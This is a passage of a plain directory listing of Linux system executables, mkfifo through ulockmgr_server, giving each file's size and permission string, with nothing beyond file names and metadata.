KB
-rwxr-xr-x
mkfifo
39.83
KB
-rwxr-xr-x
mkfontdir
69
B
-rwxr-xr-x
mkfontscale
44.77
KB
-rwxr-xr-x
mknod
43.88
KB
-rwxr-xr-x
mktemp
39.81
KB
-rwxr-xr-x
mm2gv
39.45
KB
-rwxr-xr-x
mmdblookup
27.72
KB
-rwxr-xr-x
modulecmd
654.01
KB
-rwxr-xr-x
modulemd-validator
28.39
KB
-rwxr-xr-x
mogrify
15.27
KB
-rwxr-xr-x
montage
15.27
KB
-rwxr-xr-x
more
43.63
KB
-rwxr-xr-x
mount
47.54
KB
-rwsr-xr-x
mountpoint
19.38
KB
-rwxr-xr-x
mpstat
51.79
KB
-rwxr-xr-x
msgattrib
27.17
KB
-rwxr-xr-x
msgcat
27.14
KB
-rwxr-xr-x
msgcmp
27.27
KB
-rwxr-xr-x
msgcomm
27.16
KB
-rwxr-xr-x
msgconv
23.15
KB
-rwxr-xr-x
msgen
23.15
KB
-rwxr-xr-x
msgexec
23.15
KB
-rwxr-xr-x
msgfilter
35.31
KB
-rwxr-xr-x
msgfmt
84.09
KB
-rwxr-xr-x
msgfmt.py
7.41
KB
-rwxr-xr-x
msgfmt3.9.py
7.41
KB
-rwxr-xr-x
msgfmt3.py
7.41
KB
-rwxr-xr-x
msggrep
116.41
KB
-rwxr-xr-x
msginit
67.44
KB
-rwxr-xr-x
msgmerge
75.48
KB
-rwxr-xr-x
msgunfmt
35.33
KB
-rwxr-xr-x
msguniq
23.15
KB
-rwxr-xr-x
msql2mysql
1.42
KB
-rwxr-xr-x
mv
141.17
KB
-rwxr-xr-x
my_print_defaults
3.55
MB
-rwxr-xr-x
myisam_ftdump
3.87
MB
-rwxr-xr-x
myisamchk
3.99
MB
-rwxr-xr-x
myisamlog
3.86
MB
-rwxr-xr-x
myisampack
3.9
MB
-rwxr-xr-x
mysql
4.09
MB
-rwxr-xr-x
mysql_config
4.57
KB
-rwxr-xr-x
mysql_embedded
22.59
MB
-rwxr-xr-x
mysql_find_rows
3.21
KB
-rwxr-xr-x
mysql_fix_extensions
1.22
KB
-rwxr-xr-x
mysql_install_db
22.43
KB
-rwxr-xr-x
mysql_plugin
3.55
MB
-rwxr-xr-x
mysql_tzinfo_to_sql
3.55
MB
-rwxr-xr-x
mysql_upgrade
3.98
MB
-rwxr-xr-x
mysql_waitpid
3.54
MB
-rwxr-xr-x
mysqlaccess
109.34
KB
-rwxr-xr-x
mysqladmin
3.87
MB
-rwxr-xr-x
mysqlbinlog
4.13
MB
-rwxr-xr-x
mysqlcheck
3.86
MB
-rwxr-xr-x
mysqld_multi
26.71
KB
-rwxr-xr-x
mysqld_safe
30.43
KB
-rwxr-xr-x
mysqld_safe_helper
3.51
MB
-rwxr-xr-x
mysqldump
3.94
MB
-rwxr-xr-x
mysqlimport
3.85
MB
-rwxr-xr-x
mysqlshow
3.85
MB
-rwxr-xr-x
mysqlslap
3.87
MB
-rwxr-xr-x
mytop
71.95
KB
-rwxr-xr-x
nail
1014.48
KB
-rwxr-xr-x
named-rrchecker
23.34
KB
-rwxr-xr-x
namei
23.42
KB
-rwxr-xr-x
nano
346.22
KB
-rwxr-xr-x
nc
52.02
KB
-rwxr-xr-x
ncurses6-config
8.13
KB
-rwxr-xr-x
ncursesw6-config
8.13
KB
-rwxr-xr-x
ndptool
27.42
KB
-rwxr-xr-x
neato
15.23
KB
-rwxr-xr-x
needs-restarting
3.6
KB
-rwxr-xr-x
neqn
916
B
-rwxr-xr-x
net-snmp-create-v3-user
3.23
KB
-rwxr-xr-x
netcat
52.02
KB
-rwxr-xr-x
netstat
156.85
KB
-rwxr-xr-x
newgidmap
42.13
KB
-rwxr-xr-x
newgrp
40.94
KB
-rwsr-xr-x
newuidmap
38.1
KB
-rwxr-xr-x
nf-ct-add
15.72
KB
-rwxr-xr-x
nf-ct-events
15.16
KB
-rwxr-xr-x
nf-ct-list
15.74
KB
-rwxr-xr-x
nf-exp-add
20.13
KB
-rwxr-xr-x
nf-exp-delete
15.91
KB
-rwxr-xr-x
nf-exp-list
15.75
KB
-rwxr-xr-x
nf-log
15.14
KB
-rwxr-xr-x
nf-monitor
15.15
KB
-rwxr-xr-x
nf-queue
15.14
KB
-rwxr-xr-x
ngettext
35.34
KB
-rwxr-xr-x
nice
35.68
KB
-rwxr-xr-x
nisdomainname
23.84
KB
-rwxr-xr-x
nl
100.7
KB
-rwxr-xr-x
nl-addr-add
15.59
KB
-rwxr-xr-x
nl-addr-delete
15.64
KB
-rwxr-xr-x
nl-addr-list
19.66
KB
-rwxr-xr-x
nl-class-add
15.58
KB
-rwxr-xr-x
nl-class-delete
15.48
KB
-rwxr-xr-x
nl-class-list
15.46
KB
-rwxr-xr-x
nl-classid-lookup
15.33
KB
-rwxr-xr-x
nl-cls-add
19.63
KB
-rwxr-xr-x
nl-cls-delete
15.55
KB
-rwxr-xr-x
nl-cls-list
15.51
KB
-rwxr-xr-x
nl-fib-lookup
15.35
KB
-rwxr-xr-x
nl-link-enslave
15.11
KB
-rwxr-xr-x
nl-link-ifindex2name
15.11
KB
-rwxr-xr-x
nl-link-list
15.5
KB
-rwxr-xr-x
nl-link-name2ifindex
15.11
KB
-rwxr-xr-x
nl-link-release
15.12
KB
-rwxr-xr-x
nl-link-set
15.56
KB
-rwxr-xr-x
nl-link-stats
15.36
KB
-rwxr-xr-x
nl-list-caches
15.12
KB
-rwxr-xr-x
nl-list-sockets
15.11
KB
-rwxr-xr-x
nl-monitor
15.3
KB
-rwxr-xr-x
nl-neigh-add
15.48
KB
-rwxr-xr-x
nl-neigh-delete
15.52
KB
-rwxr-xr-x
nl-neigh-list
15.44
KB
-rwxr-xr-x
nl-neightbl-list
15.27
KB
-rwxr-xr-x
nl-nh-list
15.3
KB
-rwxr-xr-x
nl-pktloc-lookup
15.36
KB
-rwxr-xr-x
nl-qdisc-add
15.52
KB
-rwxr-xr-x
nl-qdisc-delete
15.48
KB
-rwxr-xr-x
nl-qdisc-list
19.51
KB
-rwxr-xr-x
nl-route-add
19.66
KB
-rwxr-xr-x
nl-route-delete
19.74
KB
-rwxr-xr-x
nl-route-get
15.14
KB
-rwxr-xr-x
nl-route-list
15.69
KB
-rwxr-xr-x
nl-rule-list
15.3
KB
-rwxr-xr-x
nl-tctree-list
15.42
KB
-rwxr-xr-x
nl-util-addr
15.11
KB
-rwxr-xr-x
nm
44.91
KB
-rwxr-xr-x
nm-online
23.55
KB
-rwxr-xr-x
nmcli
1.01
MB
-rwxr-xr-x
nmtui
821.41
KB
-rwxr-xr-x
nmtui-connect
821.41
KB
-rwxr-xr-x
nmtui-edit
821.41
KB
-rwxr-xr-x
nmtui-hostname
821.41
KB
-rwxr-xr-x
nohup
35.59
KB
-rwxr-xr-x
nop
15.33
KB
-rwxr-xr-x
notify-send
19.75
KB
-rwxr-xr-x
nproc
35.7
KB
-rwxr-xr-x
nroff
3.21
KB
-rwxr-xr-x
nsenter
27.66
KB
-rwxr-xr-x
nslookup
112.73
KB
-rwxr-xr-x
nsupdate
71.99
KB
-rwxr-xr-x
numfmt
55.83
KB
-rwxr-xr-x
objcopy
185.56
KB
-rwxr-xr-x
objdump
413.3
KB
-rwxr-xr-x
od
64.07
KB
-rwxr-xr-x
odbc_config
15.7
KB
-rwxr-xr-x
odbcinst
23.9
KB
-rwxr-xr-x
openssl
1.01
MB
-rwxr-xr-x
openvt
23.75
KB
-rwxr-xr-x
orc-bugreport
23.31
KB
-rwxr-xr-x
os-prober
5.78
KB
-rwxr-xr-x
osage
15.23
KB
-rwxr-xr-x
osinfo-db-export
27.35
KB
-rwxr-xr-x
osinfo-db-import
27.3
KB
-rwxr-xr-x
osinfo-db-path
15.3
KB
-rwxr-xr-x
osinfo-db-validate
23.4
KB
-rwxr-xr-x
osinfo-detect
27.4
KB
-rwxr-xr-x
osinfo-install-script
31.77
KB
-rwxr-xr-x
osinfo-query
32.19
KB
-rwxr-xr-x
osql
9.48
KB
-rwxr-xr-x
p11-kit
188.31
KB
-rwxr-xr-x
pacat
52.09
KB
-rwxr-xr-x
package-cleanup
3.6
KB
-rwxr-xr-x
pacmd
19.7
KB
-rwxr-xr-x
pactl
80.34
KB
-rwxr-xr-x
page_owner_sort
26.13
KB
-rwxr-xr-x
pamon
52.09
KB
-rwxr-xr-x
pango-list
19.11
KB
-rwxr-xr-x
pango-segmentation
19.13
KB
-rwxr-xr-x
pango-view
60.17
KB
-rwxr-xr-x
paperconf
15.8
KB
-rwxr-xr-x
paplay
52.09
KB
-rwxr-xr-x
parec
52.09
KB
-rwxr-xr-x
parecord
52.09
KB
-rwxr-xr-x
passwd
31.89
KB
-rwsr-xr-x
paste
35.59
KB
-rwxr-xr-x
pasuspender
23.93
KB
-rwxr-xr-x
patch
195.02
KB
-rwxr-xr-x
patchwork
15.23
KB
-rwxr-xr-x
pathchk
35.66
KB
-rwxr-xr-x
pathfix.py
6.63
KB
-rwxr-xr-x
pathfix3.9.py
6.63
KB
-rwxr-xr-x
pax11publish
15.7
KB
-rwxr-xr-x
pcre-config
2.09
KB
-rwxr-xr-x
pcre2-config
1.91
KB
-rwxr-xr-x
pdf2dsc
701
B
-rwxr-xr-x
pdf2ps
913
B
-rwxr-xr-x
pdns_control
484.45
KB
-rwxr-xr-x
pdnsutil
4.84
MB
-rwxr-xr-x
peekfd
15.8
KB
-rwxr-xr-x
perl
15.25
KB
-rwxr-xr-x
perl5.32.1
15.25
KB
-rwxr-xr-x
perlbug
43.81
KB
-rwxr-xr-x
perldoc
118
B
-rwxr-xr-x
perlivp
10.56
KB
-rwxr-xr-x
perlml
14.18
KB
-rwxr-xr-x
perlthanks
43.81
KB
-rwxr-xr-x
perror
3.73
MB
-rwxr-xr-x
pf2afm
502
B
-rwxr-xr-x
pfbtopfa
520
B
-rwxr-xr-x
pftp
100.66
KB
-rwxr-xr-x
pgrep
31.42
KB
-rwxr-xr-x
php
937
B
-rwxr-xr-x
pic
201.72
KB
-rwxr-xr-x
piconv
8.08
KB
-rwxr-xr-x
pidof
23.33
KB
-rwxr-xr-x
pidstat
51.8
KB
-rwxr-xr-x
pidwait
31.42
KB
-rwxr-xr-x
pigz
129.81
KB
-rwxr-xr-x
ping
76.66
KB
-rwxr-xr-x
pinky
35.62
KB
-rwxr-xr-x
pip
648
B
-rwxr-xr-x
pip-3
648
B
-rwxr-xr-x
pip-3.9
648
B
-rwxr-xr-x
pip3
648
B
-rwxr-xr-x
pip3.9
648
B
-rwxr-xr-x
pipewire
15.14
KB
-rwxr-xr-x
pipewire-aes67
15.14
KB
-rwxr-xr-x
pipewire-avb
15.14
KB
-rwxr-xr-x
pipewire-pulse
15.14
KB
-rwxr-xr-x
pipewire-vulkan
15.14
KB
-rwxr-xr-x
pkaction
19.37
KB
-rwxr-xr-x
pkcheck
23.37
KB
-rwxr-xr-x
pkexec
31.38
KB
-rwsr-xr-x
pkg-config
335
B
-rwxr-xr-x
pkgconf
45.36
KB
-rwxr-xr-x
pkill
31.42
KB
-rwxr-xr-x
pkla-admin-identities
23.96
KB
-rwxr-xr-x
pkla-check-authorization
36.1
KB
-rwxr-xr-x
pkttyagent
23.36
KB
-rwxr-xr-x
pl2pm
4.43
KB
-rwxr-xr-x
pldd
23.57
KB
-rwxr-xr-x
plesk_configure
346
B
-rwxr-xr-x
pmap
35.39
KB
-rwxr-xr-x
png-fix-itxt
15.69
KB
-rwxr-xr-x
pngfix
60.23
KB
-rwxr-xr-x
pod2html
4.04
KB
-rwxr-xr-x
pod2man
14.68
KB
-rwxr-xr-x
pod2text
10.55
KB
-rwxr-xr-x
pod2usage
4.01
KB
-rwxr-xr-x
podchecker
3.57
KB
-rwxr-xr-x
post-grohtml
199.76
KB
-rwxr-xr-x
powernow-k8-decode
14.13
KB
-rwxr-xr-x
pphs
408
B
-rwxr-xr-x
pr
72.3
KB
-rwxr-xr-x
pre-grohtml
92.92
KB
-rwxr-xr-x
precat
5.53
KB
-rwxr-xr-x
preconv
56.27
KB
-rwxr-xr-x
preunzip
5.53
KB
-rwxr-xr-x
prezip
5.53
KB
-rwxr-xr-x
prezip-bin
15.69
KB
-rwxr-xr-x
printafm
399
B
-rwxr-xr-x
printenv
31.48
KB
-rwxr-xr-x
printf
51.78
KB
-rwxr-xr-x
prlimit
27.95
KB
-rwxr-xr-x
procan
35.62
KB
-rwxr-xr-x
protoc
24.01
KB
-rwxr-xr-x
protoc-c
158.2
KB
-rwxr-xr-x
protoc-gen-c
158.2
KB
-rwxr-xr-x
prove
13.24
KB
-rwxr-xr-x
prtstat
23.84
KB
-rwxr-xr-x
prune
15.41
KB
-rwxr-xr-x
ps
141.15
KB
-rwxr-xr-x
ps2ascii
635
B
-rwxr-xr-x
ps2epsi
1.24
KB
-rwxr-xr-x
ps2pdf
276
B
-rwxr-xr-x
ps2pdf12
219
B
-rwxr-xr-x
ps2pdf13
219
B
-rwxr-xr-x
ps2pdf14
219
B
-rwxr-xr-x
ps2pdfwr
1.06
KB
-rwxr-xr-x
ps2ps
651
B
-rwxr-xr-x
ps2ps2
673
B
-rwxr-xr-x
psfaddtable
31.45
KB
-rwxr-xr-x
psfgettable
31.45
KB
-rwxr-xr-x
psfstriptable
31.45
KB
-rwxr-xr-x
psfxtable
31.45
KB
-rwxr-xr-x
pslog
15.7
KB
-rwxr-xr-x
pstree
36.9
KB
-rwxr-xr-x
pstree.x11
36.9
KB
-rwxr-xr-x
ptar
3.39
KB
-rwxr-xr-x
ptardiff
2.49
KB
-rwxr-xr-x
ptargrep
4.2
KB
-rwxr-xr-x
ptx
129.04
KB
-rwxr-xr-x
pure-pw
38.42
KB
-rwxr-xr-x
pure-pwconvert
14.35
KB
-rwxr-xr-x
pure-statsdecode
14.35
KB
-rwxr-xr-x
pw-jack
1.32
KB
-rwxr-xr-x
pwd
35.7
KB
-rwxr-xr-x
pwdx
15.28
KB
-rwxr-xr-x
pwmake
15.7
KB
-rwxr-xr-x
pwscore
15.7
KB
-rwxr-xr-x
pydoc
78
B
-rwxr-xr-x
pydoc3
78
B
-rwxr-xr-x
pydoc3.9
78
B
-rwxr-xr-x
pygettext.py
21.03
KB
-rwxr-xr-x
pygettext3.9.py
21.03
KB
-rwxr-xr-x
pygettext3.py
21.03
KB
-rwxr-xr-x
python-config
61
B
-rwxr-xr-x
python3
15.27
KB
-rwxr-xr-x
python3-config
61
B
-rwxr-xr-x
python3.9
15.27
KB
-rwxr-xr-x
python3.9-config
61
B
-rwxr-xr-x
python3.9-x86_64-config
3.54
KB
-rwxr-xr-x
qemu-ga
1.81
MB
-rwxr-xr-x
quota
81.7
KB
-rwsr-xr-x
quotasync
64.88
KB
-rwxr-xr-x
ranlib
56.2
KB
-rwxr-xr-x
read
32
B
-rwxr-xr-x
readelf
667.48
KB
-rwxr-xr-x
readlink
39.7
KB
-rwxr-xr-x
realpath
39.77
KB
-rwxr-xr-x
recode-sr-latin
15.13
KB
-rwxr-xr-x
red
92
B
-rwxr-xr-x
rename
23.42
KB
-rwxr-xr-x
renew-dummy-cert
729
B
-rwxr-xr-x
renice
15.37
KB
-rwxr-xr-x
replace
3.52
MB
-rwxr-xr-x
repo-graph
3.6
KB
-rwxr-xr-x
repoclosure
3.6
KB
-rwxr-xr-x
repodiff
3.6
KB
-rwxr-xr-x
repomanage
3.6
KB
-rwxr-xr-x
repoquery
3.6
KB
-rwxr-xr-x
reposync
3.6
KB
-rwxr-xr-x
repotrack
3.6
KB
-rwxr-xr-x
rescan-scsi-bus.sh
38.09
KB
-rwxr-xr-x
reset
27.34
KB
-rwxr-xr-x
resizecons
27.57
KB
-rwxr-xr-x
resolve_stack_dump
3.54
MB
-rwxr-xr-x
resolveip
3.54
MB
-rwxr-xr-x
rev
15.36
KB
-rwxr-xr-x
rm
60.21
KB
-rwxr-xr-x
rmdir
43.62
KB
-rwxr-xr-x
rnano
346.22
KB
-rwxr-xr-x
rpcbind
59.89
KB
-rwxr-xr-x
rpcinfo
35.58
KB
-rwxr-xr-x
rpm
23.81
KB
-rwxr-xr-x
rpm2archive
23.5
KB
-rwxr-xr-x
rpm2cpio
15.29
KB
-rwxr-xr-x
rpmdb
19.91
KB
-rwxr-xr-x
rpmkeys
15.77
KB
-rwxr-xr-x
rpmquery
23.81
KB
-rwxr-xr-x
rpmverify
23.81
KB
-rwxr-xr-x
rsync
554.87
KB
-rwxr-xr-x
rsync-ssl
4.82
KB
-rwxr-xr-x
run-parts
1.94
KB
-rwxr-xr-x
run-with-aspell
89
B
-rwxr-xr-x
runcon
35.65
KB
-rwxr-xr-x
rvi
1.39
MB
-rwxr-xr-x
rview
1.39
MB
-rwxr-xr-x
rvim
3.84
MB
-rwxr-xr-x
s-nail
1014.48
KB
-rwxr-xr-x
sadf
459.02
KB
-rwxr-xr-x
sar
135.88
KB
-rwxr-xr-x
sccmap
23.37
KB
-rwxr-xr-x
scl
39.55
KB
-rwxr-xr-x
scl_enabled
262
B
-rwxr-xr-x
scl_source
1.88
KB
-rwxr-xr-x
scp
133.07
KB
-rwxr-xr-x
screen
484.21
KB
-rwxr-sr-x
script
51.76
KB
-rwxr-xr-x
scriptlive
43.67
KB
-rwxr-xr-x
scriptreplay
35.49
KB
-rwxr-xr-x
scsi-rescan
38.09
KB
-rwxr-xr-x
scsi_logging_level
8.39
KB
-rwxr-xr-x
scsi_mandat
3.52
KB
-rwxr-xr-x
scsi_readcap
1.3
KB
-rwxr-xr-x
scsi_ready
1.1
KB
-rwxr-xr-x
scsi_satl
3.74
KB
-rwxr-xr-x
scsi_start
1.26
KB
-rwxr-xr-x
scsi_stop
1.44
KB
-rwxr-xr-x
scsi_temperature
940
B
-rwxr-xr-x
sdiff
44.2
KB
-rwxr-xr-x
secon
28.37
KB
-rwxr-xr-x
sed
114.01
KB
-rwxr-xr-x
sedismod
289.02
KB
-rwxr-xr-x
sedispol
219.93
KB
-rwxr-xr-x
semodule_expand
15.23
KB
-rwxr-xr-x
semodule_link
15.25
KB
-rwxr-xr-x
semodule_package
19.28
KB
-rwxr-xr-x
semodule_unpackage
15.24
KB
-rwxr-xr-x
seq
47.8
KB
-rwxr-xr-x
sestatus
23.25
KB
-rwxr-xr-x
setarch
27.67
KB
-rwxr-xr-x
setfacl
39.98
KB
-rwxr-xr-x
setfattr
20.16
KB
-rwxr-xr-x
setfont
51.82
KB
-rwxr-xr-x
setkeycodes
15.41
KB
-rwxr-xr-x
setleds
19.46
KB
-rwxr-xr-x
setmetamode
15.49
KB
-rwxr-xr-x
setpriv
39.55
KB
-rwxr-xr-x
setsid
15.35
KB
-rwxr-xr-x
setterm
35.52
KB
-rwxr-xr-x
setup-nsssysinit
1.51
KB
-rwxr-xr-x
setup-nsssysinit.sh
1.51
KB
-rwxr-xr-x
setvtrgb
15.45
KB
-rwxr-xr-x
sfdp
15.23
KB
-rwxr-xr-x
sftp
141.05
KB
-rwxr-xr-x
sg
40.94
KB
-rwsr-xr-x
sg_bg_ctl
15.93
KB
-rwxr-xr-x
sg_compare_and_write
28.35
KB
-rwxr-xr-x
sg_copy_results
24.65
KB
-rwxr-xr-x
sg_dd
56.04
KB
-rwxr-xr-x
sg_decode_sense
16.23
KB
-rwxr-xr-x
sg_emc_trespass
15.71
KB
-rwxr-xr-x
sg_format
40.9
KB
-rwxr-xr-x
sg_get_config
36.75
KB
-rwxr-xr-x
sg_get_elem_status
28.22
KB
-rwxr-xr-x
sg_get_lba_status
24.38
KB
-rwxr-xr-x
sg_ident
16.01
KB
-rwxr-xr-x
sg_inq
121.35
KB
-rwxr-xr-x
sg_logs
154.06
KB
-rwxr-xr-x
sg_luns
24.31
KB
-rwxr-xr-x
sg_map
19.84
KB
-rwxr-xr-x
sg_map26
28.31
KB
-rwxr-xr-x
sg_modes
47.65
KB
-rwxr-xr-x
sg_opcodes
36.61
KB
-rwxr-xr-x
sg_persist
37.59
KB
-rwxr-xr-x
sg_prevent
15.91
KB
-rwxr-xr-x
sg_raw
28.34
KB
-rwxr-xr-x
sg_rbuf
24.26
KB
-rwxr-xr-x
sg_rdac
15.69
KB
-rwxr-xr-x
sg_read
27.84
KB
-rwxr-xr-x
sg_read_attr
38.18
KB
-rwxr-xr-x
sg_read_block_limits
15.95
KB
-rwxr-xr-x
sg_read_buffer
28.93
KB
-rwxr-xr-x
sg_read_long
16.12
KB
-rwxr-xr-x
sg_readcap
24.31
KB
-rwxr-xr-x
sg_reassign
16.07
KB
-rwxr-xr-x
sg_referrals
16.09
KB
-rwxr-xr-x
sg_rep_pip
15.99
KB
-rwxr-xr-x
sg_rep_zones
28.41
KB
-rwxr-xr-x
sg_requests
24.17
KB
-rwxr-xr-x
sg_reset
16.18
KB
-rwxr-xr-x
sg_reset_wp
16.02
KB
-rwxr-xr-x
sg_rmsn
15.91
KB
-rwxr-xr-x
sg_rtpg
16.01
KB
-rwxr-xr-x
sg_safte
24.13
KB
-rwxr-xr-x
sg_sanitize
28.43
KB
-rwxr-xr-x
sg_sat_identify
20.16
KB
-rwxr-xr-x
sg_sat_phy_event
20.44
KB
-rwxr-xr-x
sg_sat_read_gplog
20.15
KB
-rwxr-xr-x
sg_sat_set_features
20.11
KB
-rwxr-xr-x
sg_scan
19.84
KB
-rwxr-xr-x
sg_seek
20.3
KB
-rwxr-xr-x
sg_senddiag
28.74
KB
-rwxr-xr-x
sg_ses
121.71
KB
-rwxr-xr-x
sg_ses_microcode
28.91
KB
-rwxr-xr-x
sg_start
20.38
KB
-rwxr-xr-x
sg_stpg
24.13
KB
-rwxr-xr-x
sg_stream_ctl
20.13
KB
-rwxr-xr-x
sg_sync
16.08
KB
-rwxr-xr-x
sg_test_rwbuf
20.17
KB
-rwxr-xr-x
sg_timestamp
24.29
KB
-rwxr-xr-x
sg_turs
28.27
KB
-rwxr-xr-x
sg_unmap
24.28
KB
-rwxr-xr-x
sg_verify
20.33
KB
-rwxr-xr-x
sg_vpd
120.15
KB
-rwxr-xr-x
sg_wr_mode
24.13
KB
-rwxr-xr-x
sg_write_buffer
28.67
KB
-rwxr-xr-x
sg_write_long
16.18
KB
-rwxr-xr-x
sg_write_same
28.4
KB
-rwxr-xr-x
sg_write_verify
28.23
KB
-rwxr-xr-x
sg_write_x
61.23
KB
-rwxr-xr-x
sg_xcopy
44.02
KB
-rwxr-xr-x
sg_zone
20.21
KB
-rwxr-xr-x
sginfo
74.25
KB
-rwxr-xr-x
sgm_dd
40
KB
-rwxr-xr-x
sgp_dd
44.45
KB
-rwxr-xr-x
sh
1.32
MB
-rwxr-xr-x
sha1hmac
35.27
KB
-rwxr-xr-x
sha1sum
39.65
KB
-rwxr-xr-x
sha224hmac
35.27
KB
-rwxr-xr-x
sha224sum
39.65
KB
-rwxr-xr-x
sha256hmac
35.27
KB
-rwxr-xr-x
sha256sum
39.65
KB
-rwxr-xr-x
sha384hmac
35.27
KB
-rwxr-xr-x
sha384sum
39.65
KB
-rwxr-xr-x
sha512hmac
35.27
KB
-rwxr-xr-x
sha512sum
39.65
KB
-rwxr-xr-x
shasum
9.66
KB
-rwxr-xr-x
showconsolefont
19.48
KB
-rwxr-xr-x
showkey
19.41
KB
-rwxr-xr-x
shred
51.88
KB
-rwxr-xr-x
shuf
48.02
KB
-rwxr-xr-x
size
31.8
KB
-rwxr-xr-x
skill
31.4
KB
-rwxr-xr-x
slabinfo
42.95
KB
-rwxr-xr-x
slabtop
23.42
KB
-rwxr-xr-x
sleep
35.66
KB
-rwxr-xr-x
slencheck
15.71
KB
-rwxr-xr-x
sm3hmac
35.27
KB
-rwxr-xr-x
snice
31.4
KB
-rwxr-xr-x
snmpconf
25.44
KB
-rwxr-xr-x
socat
387.1
KB
-rwxr-xr-x
soelim
32.18
KB
-rwxr-xr-x
soelim.groff
32.18
KB
-rwxr-xr-x
sort
113.11
KB
-rwxr-xr-x
sotruss
4.18
KB
-rwxr-xr-x
spell
125
B
-rwxr-xr-x
splain
18.96
KB
-rwxr-xr-x
split
52.33
KB
-rwxr-xr-x
sprof
35.62
KB
-rwxr-xr-x
sqlite3
1.52
MB
-rwxr-xr-x
ssh
843.51
KB
-rwxr-xr-x
ssh-add
164.85
KB
-rwxr-xr-x
ssh-agent
281.02
KB
-rwxr-xr-x
ssh-copy-id
12.38
KB
-rwxr-xr-x
ssh-keygen
455.02
KB
-rwxr-xr-x
ssh-keyscan
197.44
KB
-rwxr-xr-x
sss_ssh_authorizedkeys
23.47
KB
-rwxr-xr-x
sss_ssh_knownhostsproxy
27.48
KB
-rwxr-xr-x
stat
80.07
KB
-rwxr-xr-x
stdbuf
43.75
KB
-rwxr-xr-x
strace
1.94
MB
-rwxr-xr-x
strace-log-merge
1.78
KB
-rwxr-xr-x
stream
15.27
KB
-rwxr-xr-x
streamzip
7.66
KB
-rwxr-xr-x
strings
31.92
KB
-rwxr-xr-x
strip
185.55
KB
-rwxr-xr-x
stty
75.84
KB
-rwxr-xr-x
su
55.79
KB
-rwsr-x---
sudo
180.96
KB
---s--x--x
sudoedit
180.96
KB
---s--x--x
sudoreplay
84.97
KB
---x--x--x
sum
35.6
KB
-rwxr-xr-x
sw-engine
24.39
MB
-rwxr-xr-x
sxpm
31.58
KB
-rwxr-xr-x
sync
35.55
KB
-rwxr-xr-x
systemctl
298.59
KB
-rwxr-xr-x
systemd-analyze
201.77
KB
-rwxr-xr-x
systemd-ask-password
19.63
KB
-rwxr-xr-x
systemd-cat
19.44
KB
-rwxr-xr-x
systemd-cgls
23.64
KB
-rwxr-xr-x
systemd-cgtop
39.59
KB
-rwxr-xr-x
systemd-creds
43.98
KB
-rwxr-xr-x
systemd-cryptenroll
72.25
KB
-rwxr-xr-x
systemd-delta
27.49
KB
-rwxr-xr-x
systemd-detect-virt
19.44
KB
-rwxr-xr-x
systemd-dissect
47.96
KB
-rwxr-xr-x
systemd-escape
23.44
KB
-rwxr-xr-x
systemd-firstboot
56.26
KB
-rwxr-xr-x
systemd-hwdb
15.45
KB
-rwxr-xr-x
systemd-id128
27.55
KB
-rwxr-xr-x
systemd-inhibit
23.48
KB
-rwxr-xr-x
systemd-machine-id-setup
19.73
KB
-rwxr-xr-x
systemd-mount
60.2
KB
-rwxr-xr-x
systemd-notify
23.48
KB
-rwxr-xr-x
systemd-path
19.42
KB
-rwxr-xr-x
systemd-repart
169.41
KB
-rwxr-xr-x
systemd-run
64.19
KB
-rwxr-xr-x
systemd-socket-activate
27.52
KB
-rwxr-xr-x
systemd-stdio-bridge
23.44
KB
-rwxr-xr-x
systemd-sysext
47.94
KB
-rwxr-xr-x
systemd-sysusers
72.53
KB
-rwxr-xr-x
systemd-tmpfiles
124.71
KB
-rwxr-xr-x
systemd-tty-ask-password-agent
39.55
KB
-rwxr-xr-x
systemd-umount
60.2
KB
-rwxr-xr-x
tabs
19.16
KB
-rwxr-xr-x
tac
104.61
KB
-rwxr-xr-x
tail
68.1
KB
-rwxr-xr-x
tapestat
27.55
KB
-rwxr-xr-x
tar
514.27
KB
-rwxr-xr-x
taskset
23.41
KB
-rwxr-xr-x
tbl
130.86
KB
-rwxr-xr-x
tcamgr
27.88
KB
-rwxr-xr-x
tcamttest
27.88
KB
-rwxr-xr-x
tcatest
64.32
KB
-rwxr-xr-x
tcbmgr
31.84
KB
-rwxr-xr-x
tcbmttest
55.92
KB
-rwxr-xr-x
tcbtest
72.3
KB
-rwxr-xr-x
tcfmgr
27.82
KB
-rwxr-xr-x
tcfmttest
39.92
KB
-rwxr-xr-x
tcftest
51.91
KB
-rwxr-xr-x
tchmgr
27.81
KB
-rwxr-xr-x
tchmttest
51.93
KB
-rwxr-xr-x
tchtest
64.27
KB
-rwxr-xr-x
tclsh
15.69
KB
-rwxr-xr-x
tclsh8.6
15.69
KB
-rwxr-xr-x
tcptraceroute
1.55
KB
-rwxr-xr-x
tctmgr
35.83
KB
-rwxr-xr-x
tctmttest
51.89
KB
-rwxr-xr-x
tcttest
63.92
KB
-rwxr-xr-x
tcucodec
35.8
KB
-rwxr-xr-x
tcumttest
27.87
KB
-rwxr-xr-x
tcutest
79.95
KB
-rwxr-xr-x
tdspool
253.95
KB
-rwxr-xr-x
team2bond
15.76
KB
-rwxr-xr-x
teamd
166.59
KB
-rwxr-xr-x
teamdctl
37.12
KB
-rwxr-xr-x
teamnl
23.26
KB
-rwxr-xr-x
tee
35.7
KB
-rwxr-xr-x
test
43.8
KB
-rwxr-xr-x
tic
87.8
KB
-rwxr-xr-x
timedatectl
47.83
KB
-rwxr-xr-x
timeout
40.18
KB
-rwxr-xr-x
tload
19.34
KB
-rwxr-xr-x
tmon
42.48
KB
-rwxr-xr-x
tmpwatch
36.03
KB
-rwxr-xr-x
toe
23.23
KB
-rwxr-xr-x
top
132.27
KB
-rwxr-xr-x
touch
92.04
KB
-rwxr-xr-x
tput
27.25
KB
-rwxr-xr-x
tr
47.87
KB
-rwxr-xr-x
tracepath
19.39
KB
-rwxr-xr-x
traceroute
77.26
KB
-rwxr-xr-x
traceroute6
77.26
KB
-rwxr-xr-x
tracker3
611.08
KB
-rwxr-xr-x
tred
15.35
KB
-rwxr-xr-x
troff
732.07
KB
-rwxr-xr-x
true
27.48
KB
-rwxr-xr-x
truncate
35.66
KB
-rwxr-xr-x
trust
221.06
KB
-rwxr-xr-x
tset
27.34
KB
-rwxr-xr-x
tsort
47.8
KB
-rwxr-xr-x
tsql
253.9
KB
-rwxr-xr-x
tty
31.66
KB
-rwxr-xr-x
turbostat
148.05
KB
-rwxr-xr-x
twopi
15.23
KB
-rwxr-xr-x
type
32
B
-rwxr-xr-x
tzselect
14.99
KB
-rwxr-xr-x
uapi
3.15
MB
-rwxr-xr-x
udevadm
583.98
KB
-rwxr-xr-x
ul
23.45
KB
-rwxr-xr-x
ulimit
34
B
-rwxr-xr-x
ulockmgr_server
19.4
KB
